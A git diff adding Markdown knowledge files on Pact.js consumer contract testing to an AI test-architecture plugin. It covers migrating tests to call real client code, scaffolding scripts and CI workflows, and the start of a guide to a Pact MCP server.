+**Context**: Migrating an existing raw-fetch test to call real consumer code.
+
+**Before** (raw fetch — tests Pact mock, not consumer code):
+
+```typescript
+.executeTest(async (mockServer: V3MockServer) => {
+  const response = await fetch(
+    `${mockServer.url}/api/v2/common/fields?ruleType=!&ignoreFeatureFlags=true`,
+    {
+      headers: {
+        Authorization: "Bearer test-jwt-token",
+        "Content-Type": "application/json",
+      },
+    },
+  );
+  expect(response.status).toBe(200);
+  const body = (await response.json()) as Record<string, unknown>[];
+  expect(body).toEqual(expect.arrayContaining([...]));
+});
+```
+
+**After** (real consumer code):
+
+```typescript
+.executeTest(async (mockServer: V3MockServer) => {
+  const api = createApiClient(createTestContext(mockServer.url));
+  const result = await api.getFilterFields();
+  expect(result).toEqual(
+    expect.arrayContaining([
+      expect.objectContaining({
+        id: expect.any(String),
+        readable: expect.any(String),
+        filterType: expect.any(String),
+      }),
+    ]),
+  );
+});
+```
+
+**Key Points**:
+
+- No HTTP status assertion — the consumer method throws on non-2xx, so reaching the expect proves success
+- Assertions validate the return value shape, not transport details
+- The real client's headers, timeout, and retry logic are exercised transparently
+- Less code, more coverage — the test is shorter and tests more
+
+### Example 4: Contract Accuracy Fix
+
+**Context**: Using real consumer code revealed a contract mismatch that raw fetch silently hid. This is the strongest argument for the pattern.
+
+The real `getCustomerActivityCount(transactionId, dateRange)` sends:
+
+```json
+{ "transactionId": "txn-123", "filters": { "dateRange": "last_30_days" } }
+```
+
+The old test with raw fetch sent:
+
+```json
+{ "transactionId": "txn-123", "filters": {} }
+```
+
+This was wrong but passed because raw fetch let you hand-craft any body. When switched to real code, Pact immediately returned a 500 Request-Mismatch because the body shape did not match the interaction.
+
+**Implementation** — fix the contract to match reality:
+
+```typescript
+// WRONG — old contract with empty filters
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: { transactionId: "txn-123", filters: {} },
+})
+
+// CORRECT — matches what real code actually sends
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: {
+    transactionId: "txn-123",
+    filters: { dateRange: "last_30_days" },
+  },
+})
+```
+
+**Key Points**:
+
+- Contracts become discoverable truth, not hand-maintained guesses
+- Raw fetch silently hid the mismatch — the mock accepted whatever you sent
+- The 500 Request-Mismatch from Pact was immediate and clear
+- Fix the contract when real code reveals a mismatch — that mismatch is a bug the old tests were hiding
+
+### Example 5: Parallel-Endpoint Methods
+
+**Context**: Facade methods that call multiple endpoints via `Promise.all` (e.g., `getTransactionStats` calls count + score + amount in parallel). Keep separate `it` blocks per endpoint and use the lower-level request function directly.
+
+**Implementation**:
+
+```typescript
+import { describe, it, expect } from 'vitest';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { makeApiRequestWithContext } from '../../src/http-client.js';
+import type { CountStatistics } from '../../src/types.js';
+import { createTestContext } from '../support/test-context.js';
+
+describe('Transaction Statistics - Count Endpoint', () => {
+  // ... provider setup ...
+
+  it('should return count statistics', async () => {
+    const statsRequest = { transactionId: 'txn-123', period: 'daily' };
+
+    await provider
+      .given('transaction statistics exist')
+      .uponReceiving('a request for transaction count statistics')
+      .withRequest({
+        method: 'POST',
+        path: '/api/v2/transactions/statistics/count',
+        body: statsRequest,
+      })
+      .willRespondWith({
+        status: 200,
+        body: { count: 42, period: 'daily' },
+      })
+      .executeTest(async (mockServer: V3MockServer) => {
+        const context = createTestContext(mockServer.url);
+        const result = await makeApiRequestWithContext<CountStatistics>(context, '/transactions/statistics/count', 'POST', statsRequest);
+        expect(result.count).toBeDefined();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- Each Pact interaction verifies one endpoint contract
+- The `Promise.all` orchestration is internal logic, not a contract concern
+- Use `makeApiRequestWithContext` (lower-level) when the facade method bundles multiple calls
+- Separate `it` blocks keep contracts independent and debuggable
+
+## Anti-Patterns
+
+### Wrong: Raw fetch — tests Pact mock, not consumer code
+
+```typescript
+// BAD: Raw fetch duplicates headers and URL assembly
+const response = await fetch(`${mockServer.url}/api/v2/transactions`, {
+  method: 'GET',
+  headers: {
+    Authorization: 'Bearer test-jwt-token',
+    'Content-Type': 'application/json',
+  },
+});
+expect(response.status).toBe(200);
+```
+
+### Wrong: vi.mock with getter — fragile ESM hoisting
+
+```typescript
+// BAD: ESM hoisting makes this non-obvious and brittle
+vi.mock('../../src/constants.js', async (importOriginal) => ({
+  ...(await importOriginal()),
+  get API_BASE_URL() {
+    return mockBaseUrl;
+  },
+}));
+```
+
+### Wrong: Asserting HTTP status instead of return value
+
+```typescript
+// BAD: Status 200 tells you nothing about the consumer's parsing logic
+expect(response.status).toBe(200);
+```
+
+### Right: Call real consumer code, assert return values
+
+```typescript
+// GOOD: Exercises real client, validates parsed return value
+const api = createApiClient(createTestContext(mockServer.url));
+const result = await api.searchTransactions(request);
+expect(result.transactions).toBeDefined();
+```
+
+## Rules
+
+1. `baseUrl` field MUST be optional with fallback via `??` (nullish coalescing)
+2. Zero production behavior change — existing code never sets `baseUrl`
+3. Assertions validate return values from consumer methods, not HTTP status codes
+4. For parallel-endpoint facade methods, keep separate `it` blocks per endpoint
+5. Include the API version prefix in `baseUrl` when endpoint paths/consumer methods are versionless (for example, methods call `/transactions` instead of `/api/v2/transactions`)
+6. Create a single shared test context helper — no repetition across test files
+7. If real code reveals a contract mismatch, fix the contract — that mismatch is a bug the old tests were hiding
+
+## Integration Points
+
+- `contract-testing.md` — Foundational Pact.js patterns and provider verification
+- `pactjs-utils-consumer-helpers.md` — `createProviderState()`, `setJsonContent()`, and `setJsonBody()` helpers used alongside this pattern
+- `pactjs-utils-provider-verifier.md` — Provider-side verification configuration
+- `fixture-architecture.md` — Composable fixture patterns (`createTestContext` follows pure-function-first)
+- `api-testing-foundations.md` — API testing best practices
+
+Used in workflows:
+
+- `automate` — Consumer contract test generation
+- `test-review` — Contract test quality checks
+
+## Source
+
+Pattern derived from my-consumer-app Pact consumer test refactor (March 2026). Implements dependency injection for testability as described in Pact.js best practices.
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pact-consumer-framework-setup.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pact-consumer-framework-setup.md
new file mode 100644
index 0000000..10557d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pact-consumer-framework-setup.md
@@ -0,0 +1,635 @@
+# Pact Consumer CDC — Framework Setup
+
+## Principle
+
+When scaffolding a Pact.js consumer contract testing framework, align every artifact — directory layout, vitest config, package.json scripts, shell scripts, CI workflow, and test files — with the canonical `@seontechnologies/pactjs-utils` conventions. Consistency across repositories eliminates onboarding friction and ensures CI pipelines are copy-paste portable.
+
+## Rationale
+
+The TEA framework workflow generates scaffolding for consumer-driven contract (CDC) testing. Without opinionated, battle-tested conventions, each project invents its own structure — different script names, different env var patterns, different CI step ordering — making cross-repo maintenance expensive. This fragment codifies the production-proven patterns from the pactjs-utils reference implementation so that every new project starts correctly.
+
+## Pattern Examples
+
+### Example 1: Directory Structure & File Naming
+
+**Context**: Consumer contract test project layout using pactjs-utils conventions.
+
+**Implementation**:
+
+```
+tests/contract/
+├── consumer/
+│   ├── get-filter-fields.pacttest.ts    # Consumer test (one per endpoint group)
+│   ├── filter-transactions.pacttest.ts
+│   └── get-transaction-stats.pacttest.ts
+└── support/
+    ├── pact-config.ts                   # PactV4 factory (consumer/provider names, output dir)
+    ├── provider-states.ts               # Provider state factory functions
+    └── consumer-helpers.ts              # Local shim (until pactjs-utils is published)
+
+scripts/
+├── env-setup.sh                         # Shared env loader (sourced by all broker scripts)
+├── publish-pact.sh                      # Publish pact files to broker
+├── can-i-deploy.sh                      # Deployment safety check
+└── record-deployment.sh                 # Record deployment after merge
+
+.github/
+├── actions/
+│   └── detect-breaking-change/
+│       └── action.yml                   # PR checkbox-driven breaking change detection
+└── workflows/
+    └── contract-test-consumer.yml       # Consumer CDC CI workflow
+```
+
+**Key Points**:
+
+- Consumer tests use `.pacttest.ts` extension (not `.pact.spec.ts` or `.contract.ts`)
+- Support files live in `tests/contract/support/`, not mixed with consumer tests
+- Shell scripts live in `scripts/` at project root, not nested inside test directories
+- CI workflow named `contract-test-consumer.yml` (not `pact-consumer.yml` or other variants)
+
+---
+
+### Example 2: Vitest Configuration for Pact
+
+**Context**: Minimal vitest config dedicated to contract tests — do NOT copy settings from the project's main `vitest.config.ts`.
+
+**Implementation**:
+
+```typescript
+// vitest.config.pact.ts
+import { defineConfig } from 'vitest/config';
+
+export default defineConfig({
+  test: {
+    environment: 'node',
+    include: ['tests/contract/**/*.pacttest.ts'],
+    testTimeout: 30000,
+  },
+});
+```
+
+**Key Points**:
+
+- Do NOT add `pool`, `poolOptions`, `setupFiles`, `coverage`, or other settings from the unit test config
+- Keep it minimal — Pact tests run in Node environment with extended timeout
+- 30 second timeout accommodates Pact mock server startup and interaction verification
+- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config
+
+---
+
+### Example 3: Package.json Script Naming
+
+**Context**: Colon-separated naming matching pactjs-utils exactly. Scripts source `env-setup.sh` inline.
+
+**Implementation**:
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh",
+    "can:i:deploy:consumer": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/can-i-deploy.sh",
+    "record:consumer:deployment": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/record-deployment.sh"
+  }
+}
+```
+
+Replace `<service-name>` with the consumer's pacticipant name (e.g., `my-frontend-app`).
+
+**Key Points**:
+
+- Use colon-separated naming: `test:pact:consumer`, NOT `test:contract` or `test:contract:consumer`
+- Broker scripts source `env-setup.sh` inline in package.json (`. ./scripts/env-setup.sh && ...`)
+- `PACTICIPANT` is set per-script invocation, not globally
+- Do NOT use `npx pact-broker` — use `pact-broker` directly (installed as a dependency)
+
+---
+
+### Example 4: Shell Scripts
+
+**Context**: Reusable bash scripts aligned with pactjs-utils conventions.
+
+#### `scripts/env-setup.sh` — Shared Environment Loader
+
+```bash
+#!/bin/bash
+# -e: exit on error  -u: error on undefined vars (catches typos/missing env vars in CI)
+set -eu
+
+if [ -f .env ]; then
+  set -a
+  source .env
+  set +a
+fi
+
+export GITHUB_SHA="${GITHUB_SHA:-$(git rev-parse --short HEAD)}"
+export GITHUB_BRANCH="${GITHUB_BRANCH:-$(git rev-parse --abbrev-ref HEAD)}"
+```
+
+#### `scripts/publish-pact.sh` — Publish Pacts to Broker
+
+```bash
+#!/bin/bash
+# Publish generated pact files to PactFlow/Pact Broker
+#
+# Requires: PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACT_DIR="./pacts"
+
+pact-broker publish "$PACT_DIR" \
+    --consumer-app-version="$GITHUB_SHA" \
+    --branch="$GITHUB_BRANCH" \
+    --broker-base-url="$PACT_BROKER_BASE_URL" \
+    --broker-token="$PACT_BROKER_TOKEN"
+```
+
+#### `scripts/can-i-deploy.sh` — Deployment Safety Check
+
+```bash
+#!/bin/bash
+# Check if a pacticipant version can be safely deployed
+#
+# Requires: PACTICIPANT (set by caller), PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+ENVIRONMENT="${ENVIRONMENT:-dev}"
+
+pact-broker can-i-deploy \
+    --pacticipant "$PACTICIPANT" \
+    --version="$GITHUB_SHA" \
+    --to-environment "$ENVIRONMENT" \
+    --retry-while-unknown=10 \
+    --retry-interval=30
+```
+
+#### `scripts/record-deployment.sh` — Record Deployment
+
+```bash
+#!/bin/bash
+# Record a deployment to an environment in Pact Broker
+# Only records on main/master branch (skips feature branches)
+#
+# Requires: PACTICIPANT, PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+
+if [ "$GITHUB_BRANCH" = "main" ] || [ "$GITHUB_BRANCH" = "master" ]; then
+  pact-broker record-deployment \
+      --pacticipant "$PACTICIPANT" \
+      --version "$GITHUB_SHA" \
+      --environment "${npm_config_env:-dev}"
+else
+  echo "Skipping record-deployment: not on main branch (current: $GITHUB_BRANCH)"
+fi
+```
+
+**Key Points**:
+
+- `env-setup.sh` uses `set -eu` (no pipefail — it only sources `.env`, no pipes); broker scripts use `set -euo pipefail`
+- Use `pact-broker` directly, NOT `npx pact-broker`
+- Use `PACTICIPANT` env var (required via `${PACTICIPANT:?...}`), not hardcoded service names
+- `can-i-deploy` includes `--retry-while-unknown=10 --retry-interval=30` (waits for provider verification)
+- `record-deployment` has branch guard (only records on main/master)
+- Do NOT invent custom env vars like `PACT_CONSUMER_VERSION` or `PACT_BREAKING_CHANGE` in scripts — those are handled by `env-setup.sh` and the CI detect-breaking-change action respectively
+
+---
+
+### Example 5: CI Workflow (`contract-test-consumer.yml`)
+
+**Context**: GitHub Actions workflow for consumer CDC, matching pactjs-utils structure exactly.
+
+**Implementation**:
+
+```yaml
+name: Contract Test - Consumer
+on:
+  pull_request:
+    types: [opened, synchronize, reopened, edited]
+  push:
+    branches: [main]
+
+env:
+  PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+  PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+  GITHUB_SHA: ${{ github.sha }}
+  GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.head_ref || github.ref }}
+  cancel-in-progress: true
+
+jobs:
+  consumer-contract-test:
+    if: github.actor != 'dependabot[bot]'
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v6
+
+      - uses: actions/setup-node@v6
+        with:
+          node-version-file: '.nvmrc'
+          cache: 'npm'
+
+      - name: Detect Pact breaking change
+        uses: ./.github/actions/detect-breaking-change
+
+      - name: Install dependencies
+        run: npm ci
+
+      # (1) Generate pact files
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      # (2) Publish pacts to broker
+      - name: Publish pacts to PactFlow
+        run: npm run publish:pact
+
+      # After publish, PactFlow fires a webhook that triggers
+      # the provider's contract-test-provider.yml workflow.
+      # can-i-deploy retries while waiting for provider verification.
+
+      # (4) Check deployment safety (main only — on PRs, local verification is the gate)
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      # (5) Record deployment (main only)
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+**Key Points**:
+
+- **Workflow-level `env` block** for broker secrets and git vars — not per-step
+- **`detect-breaking-change` step** runs before install to set `PACT_BREAKING_CHANGE` env var
+- **Step numbering skips (3)** — step 3 is the webhook-triggered provider verification (happens externally)
+- **can-i-deploy condition**: `github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'`
+- **Comment on (4)**: "on PRs, local verification is the gate"
+- **No upload-artifact step** — the broker is the source of truth for pact files
+- **`dependabot[bot]` skip** on the job (contract tests don't run for dependency updates)
+- **PR types include `edited`** — needed for breaking change checkbox detection in PR body
+- **`GITHUB_BRANCH`** uses `${{ github.head_ref || github.ref_name }}` — `head_ref` for PRs, `ref_name` for pushes
+
+---
+
+### Example 6: Detect Breaking Change Composite Action
+
+**Context**: GitHub composite action that reads a `[x] Pact breaking change` checkbox from the PR body.
+
+**Implementation**:
+
+Create `.github/actions/detect-breaking-change/action.yml`:
+
+```yaml
+name: 'Detect Pact Breaking Change'
+description: 'Reads the PR template checkbox to determine if this change is a Pact breaking change. Sets PACT_BREAKING_CHANGE env var.'
+
+outputs:
+  is_breaking_change:
+    description: 'Whether the change is a breaking change (true/false)'
+    value: ${{ steps.result.outputs.is_breaking_change }}
+
+runs:
+  using: 'composite'
+  steps:
+    # PR event path: read checkbox directly from current PR body.
+    - name: Set PACT_BREAKING_CHANGE from PR description (PR only)
+      if: github.event_name == 'pull_request'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const prBody = context.payload.pull_request.body || '';
+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(prBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from PR description checkbox).`);
+
+    # Push-to-main path: resolve the merged PR and read the same checkbox.
+    - name: Set PACT_BREAKING_CHANGE from merged PR (push to main)
+      if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const { data: prs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
+            owner: context.repo.owner,
+            repo: context.repo.repo,
+            commit_sha: context.sha,
+          });
+          const merged = prs.find(pr => pr.merged_at);
+          const mergedBody = merged?.body || '';
+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(mergedBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from merged PR lookup).`);
+
+    - name: Export result
+      id: result
+      shell: bash
+      run: echo "is_breaking_change=${PACT_BREAKING_CHANGE:-false}" >> "$GITHUB_OUTPUT"
+```
+
+**Key Points**:
+
+- Two separate conditional steps (better CI log readability than single if/else)
+- PR path: reads checkbox directly from PR body
+- Push-to-main path: resolves merged PR via GitHub API, reads same checkbox
+- Exports `PACT_BREAKING_CHANGE` env var for downstream steps
+- `outputs.is_breaking_change` available for consuming workflows
+- Uses a case-insensitive checkbox regex (`/\[\s*[xX]\s*\]\s*Pact breaking change/i`) to detect checked states robustly
+
+---
+
+### Example 7: Consumer Test Using PactV4 Builder
+
+**Context**: Consumer pact test using PactV4 `addInteraction()` builder pattern. The test MUST call **real consumer code** (your actual API client/service functions) against the mock server — not raw `fetch()`. Using `fetch()` directly defeats the purpose of CDC testing because it doesn't verify your actual consumer code works with the contract.
+
+**Implementation**:
+
+The consumer code must expose a way to inject the base URL (e.g., `setApiUrl()`, constructor parameter, or environment variable). This is a prerequisite for contract testing.
+
+```typescript
+// src/api/movie-client.ts — The REAL consumer code (already exists in your project)
+import axios from 'axios';
+
+const axiosInstance = axios.create({
+  baseURL: process.env.API_URL || 'http://localhost:3001',
+});
+
+// Expose a way to override the base URL for Pact testing
+export const setApiUrl = (url: string) => {
+  axiosInstance.defaults.baseURL = url;
+};
+
+export const getMovies = async () => {
+  const res = await axiosInstance.get('/movies');
+  return res.data;
+};
+
+export const getMovieById = async (id: number) => {
+  const res = await axiosInstance.get(`/movies/${id}`);
+  return res.data;
+};
+```
+
+```typescript
+// tests/contract/consumer/get-movies.pacttest.ts
+import { MatchersV3 } from '@pact-foundation/pact';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { createProviderState, setJsonBody, setJsonContent } from '../support/consumer-helpers';
+import { movieExists } from '../support/provider-states';
+import { createPact } from '../support/pact-config';
+// Import REAL consumer code — this is what we're actually testing
+import { getMovies, getMovieById, setApiUrl } from '../../../src/api/movie-client';
+
+const { like, integer, string } = MatchersV3;
+
+const pact = createPact();
+
+describe('Movies API Consumer Contract', () => {
+  const movieWithId = { id: 1, name: 'The Matrix', year: 1999, rating: 8.7, director: 'Wachowskis' };
+
+  it('should get a movie by ID', async () => {
+    const [stateName, stateParams] = createProviderState(movieExists(movieWithId));
+
+    await pact
+      .addInteraction()
+      .given(stateName, stateParams)
+      .uponReceiving('a request to get movie by ID')
+      .withRequest(
+        'GET',
+        '/movies/1',
+        setJsonContent({
+          headers: { Accept: 'application/json' },
+        }),
+      )
+      .willRespondWith(
+        200,
+        setJsonBody(
+          like({
+            id: integer(1),
+            name: string('The Matrix'),
+            year: integer(1999),
+            rating: like(8.7),
+            director: string('Wachowskis'),
+          }),
+        ),
+      )
+      .executeTest(async (mockServer: V3MockServer) => {
+        // Inject mock server URL into the REAL consumer code
+        setApiUrl(mockServer.url);
+
+        // Call the REAL consumer function — this is what CDC testing validates
+        const movie = await getMovieById(1);
+
+        expect(movie.id).toBe(1);
+        expect(movie.name).toBe('The Matrix');
+      });
+  });
+
+  it('should handle movie not found', async () => {
+    await pact
+      .addInteraction()
+      .given('No movies exist')
+      .uponReceiving('a request for a non-existent movie')
+      .withRequest('GET', '/movies/999')
+      .willRespondWith(404, setJsonBody({ error: 'Movie not found' }))
+      .executeTest(async (mockServer: V3MockServer) => {
+        setApiUrl(mockServer.url);
+
+        await expect(getMovieById(999)).rejects.toThrow();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- **CRITICAL**: Always test your REAL consumer code — import and call actual API client functions, never raw `fetch()`
+- Using `fetch()` directly only tests that Pact's mock server works, which is meaningless
+- Consumer code MUST expose a URL injection mechanism: `setApiUrl()`, env var override, or constructor parameter
+- If the consumer code doesn't support URL injection, add it — this is a design prerequisite for CDC testing
+- Use PactV4 `addInteraction()` builder (not PactV3 fluent API with `withRequest({...})` object)
+- **Interaction naming convention**: Use the pattern `"a request to <action> <resource> [<condition>]"` for `uponReceiving()`. Examples: `"a request to get a movie by ID"`, `"a request to delete a non-existing movie"`, `"a request to create a movie that already exists"`. These names appear in Pact Broker UI and verification logs — keep them descriptive and unique within the consumer-provider pair.
+- Use `setJsonContent` for request/response builder callbacks with query/header/body concerns; use `setJsonBody` for body-only response callbacks
+- Provider state factory functions (`movieExists`) return `ProviderStateInput` objects
+- `createProviderState` converts to `[stateName, stateParams]` tuple for `.given()`
+
+**Common URL injection patterns** (pick whichever fits your consumer architecture):
+
+| Pattern              | Example                                      | Best For              |
+| -------------------- | -------------------------------------------- | --------------------- |
+| `setApiUrl(url)`     | Mutates axios instance `baseURL`             | Singleton HTTP client |
+| Constructor param    | `new ApiClient({ baseUrl: mockServer.url })` | Class-based clients   |
+| Environment variable | `process.env.API_URL = mockServer.url`       | Config-driven apps    |
+| Factory function     | `createApi({ baseUrl: mockServer.url })`     | Functional patterns   |
+
+---
+
+### Example 8: Support Files
+
+#### Pact Config Factory
+
+```typescript
+// tests/contract/support/pact-config.ts
+import path from 'node:path';
+import { PactV4 } from '@pact-foundation/pact';
+
+export const createPact = (overrides?: { consumer?: string; provider?: string }) =>
+  new PactV4({
+    dir: path.resolve(process.cwd(), 'pacts'),
+    consumer: overrides?.consumer ?? 'MyConsumerApp',
+    provider: overrides?.provider ?? 'MyProviderAPI',
+    logLevel: 'warn',
+  });
+```
+
+#### Provider State Factories
+
+```typescript
+// tests/contract/support/provider-states.ts
+import type { ProviderStateInput } from './consumer-helpers';
+
+export const movieExists = (movie: { id: number; name: string; year: number; rating: number; director: string }): ProviderStateInput => ({
+  name: 'An existing movie exists',
+  params: movie,
+});
+
+export const hasMovieWithId = (id: number): ProviderStateInput => ({
+  name: 'Has a movie with a specific ID',
+  params: { id },
+});
+```
+
+#### Local Consumer Helpers Shim
+
+```typescript
+// tests/contract/support/consumer-helpers.ts
+// TODO(temporary scaffolding): Replace local TemplateHeaders/TemplateQuery types
+// with '@seontechnologies/pactjs-utils' exports when available.
+
+type TemplateHeaders = Record<string, string | number | boolean>;
+type TemplateQueryValue = string | number | boolean | Array<string | number | boolean>;
+type TemplateQuery = Record<string, TemplateQueryValue>;
+
+export type ProviderStateInput = {
+  name: string;
+  params: Record<string, unknown>;
+};
+
+type JsonMap = { [key: string]: boolean | number | string | null | JsonMap | Array<unknown> };
+type JsonContentBuilder = {
+  headers: (headers: TemplateHeaders) => unknown;
+  jsonBody: (body: unknown) => unknown;
+  query?: (query: TemplateQuery) => unknown;
+};
+
+export type JsonContentInput = {
+  body?: unknown;
+  headers?: TemplateHeaders;
+  query?: TemplateQuery;
+};
+
+export const toJsonMap = (obj: Record<string, unknown>): JsonMap =>
+  Object.fromEntries(
+    Object.entries(obj).map(([key, value]) => {
+      if (value === null || value === undefined) return [key, 'null'];
+      if (typeof value === 'object' && !(value instanceof Date) && !Array.isArray(value)) return [key, JSON.stringify(value)];
+      if (typeof value === 'number' || typeof value === 'boolean') return [key, value];
+      if (value instanceof Date) return [key, value.toISOString()];
+      return [key, String(value)];
+    }),
+  );
+
+export const createProviderState = ({ name, params }: ProviderStateInput): [string, JsonMap] => [name, toJsonMap(params)];
+
+export const setJsonContent =
+  ({ body, headers, query }: JsonContentInput) =>
+  (builder: JsonContentBuilder): void => {
+    if (query && builder.query) {
+      builder.query(query);
+    }
+
+    if (headers) {
+      builder.headers(headers);
+    }
+
+    if (body !== undefined) {
+      builder.jsonBody(body);
+    }
+  };
+
+export const setJsonBody = (body: unknown) => setJsonContent({ body });
+```
+
+**Key Points**:
+
+- If `@seontechnologies/pactjs-utils` is not yet installed, create a local shim that mirrors the API
+- Add a TODO comment noting to swap for the published package when available
+- The shim exports `createProviderState`, `toJsonMap`, `setJsonContent`, `setJsonBody`, and helper input types
+- Keep shim types local (or sourced from public exports only); do not import from internal Pact paths like `@pact-foundation/pact/src/*`
+
+---
+
+### Example 9: .gitignore Entries
+
+**Context**: Pact-specific entries to add to `.gitignore`.
+
+```
+# Pact contract testing artifacts
+/pacts/
+pact-logs/
+```
+
+---
+
+## Validation Checklist
+
+Before presenting the consumer CDC framework to the user, verify:
+
+- [ ] `vitest.config.pact.ts` is minimal (no pool/coverage/setup copied from unit config)
+- [ ] Script names match pactjs-utils (`test:pact:consumer`, `publish:pact`, `can:i:deploy:consumer`, `record:consumer:deployment`)
+- [ ] Scripts source `env-setup.sh` inline in package.json
+- [ ] Shell scripts use `pact-broker` not `npx pact-broker`
+- [ ] Shell scripts use `PACTICIPANT` env var pattern
+- [ ] `can-i-deploy.sh` has `--retry-while-unknown=10 --retry-interval=30`
+- [ ] `record-deployment.sh` has branch guard
+- [ ] `env-setup.sh` uses `set -eu`; broker scripts use `set -euo pipefail` — each with explanatory comment
+- [ ] CI workflow named `contract-test-consumer.yml`
+- [ ] CI has workflow-level env block (not per-step)
+- [ ] CI has `detect-breaking-change` step before install
+- [ ] CI step numbering skips (3) — webhook-triggered provider verification
+- [ ] CI can-i-deploy has `PACT_BREAKING_CHANGE != 'true'` condition
+- [ ] CI has NO upload-artifact step
+- [ ] `.github/actions/detect-breaking-change/action.yml` exists
+- [ ] Consumer tests use `.pacttest.ts` extension
+- [ ] Consumer tests use PactV4 `addInteraction()` builder
+- [ ] `uponReceiving()` names follow `"a request to <action> <resource> [<condition>]"` pattern and are unique within the consumer-provider pair
+- [ ] Interaction callbacks use `setJsonContent` for query/header/body and `setJsonBody` for body-only responses
+- [ ] Request bodies use exact values (no `like()` wrapper) — Postel's Law: be strict in what you send
+- [ ] `like()`, `eachLike()`, `string()`, `integer()` matchers are only used in `willRespondWith` (responses), not in `withRequest` (requests) — matchers check type/shape, not exact values
+- [ ] Consumer tests call REAL consumer code (actual API client functions), NOT raw `fetch()`
+- [ ] Consumer code exposes URL injection mechanism (`setApiUrl()`, env var, or constructor param)
+- [ ] Local consumer-helpers shim present if pactjs-utils not installed
+- [ ] `.gitignore` includes `/pacts/` and `pact-logs/`
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — Library decision tree and installation
+- `pactjs-utils-consumer-helpers.md` — `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` API details
+- `pactjs-utils-provider-verifier.md` — Provider-side verification patterns
+- `pactjs-utils-request-filter.md` — Auth injection for provider verification
+- `contract-testing.md` — Foundational CDC patterns and resilience coverage
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pact-mcp.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pact-mcp.md
new file mode 100644
index 0000000..3badcaf
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pact-mcp.md
@@ -0,0 +1,204 @@
+# Pact MCP Server (SmartBear)
+
+## Principle
+
+Use the SmartBear MCP server to enable AI agent interaction with PactFlow/Pact Broker during contract testing workflows. The MCP server provides tools for generating pact tests, fetching provider states, reviewing test quality, and checking deployment safety — all accessible through the Model Context Protocol.
+
+## Rationale
+
+### Why MCP for contract testing?
+
+- **Live broker queries**: AI agents can fetch existing provider states, verification results, and deployment status directly from PactFlow
+- **Test generation assistance**: MCP tools generate consumer and provider tests based on existing contracts, OpenAPI specs, or templates
+- **Automated review**: MCP-powered review checks tests against best practices without manual inspection
+- **Deployment safety**: `can-i-deploy` checks integrated into agent workflows for real-time compatibility verification
+
+### When TEA uses it
+
+- **test-design workflow**: Fetch existing provider states to understand current contract landscape
+- **automate workflow**: Generate pact tests using broker knowledge and existing contracts
+- **test-review workflow**: Review pact tests against best practices with automated feedback
+- **ci workflow**: Reference can-i-deploy and matrix tools for pipeline guidance
+
+## Available Tools
+
+| #   | Tool                      | Description                                                             | When Used             |
+| --- | ------------------------- | ----------------------------------------------------------------------- | --------------------- |
+| 1   | **Generate Pact Tests**   | Create consumer/provider tests from code, OpenAPI, or templates         | automate workflow     |
+| 2   | **Fetch Provider States** | List all provider states from broker for a given consumer-provider pair | test-design, automate |
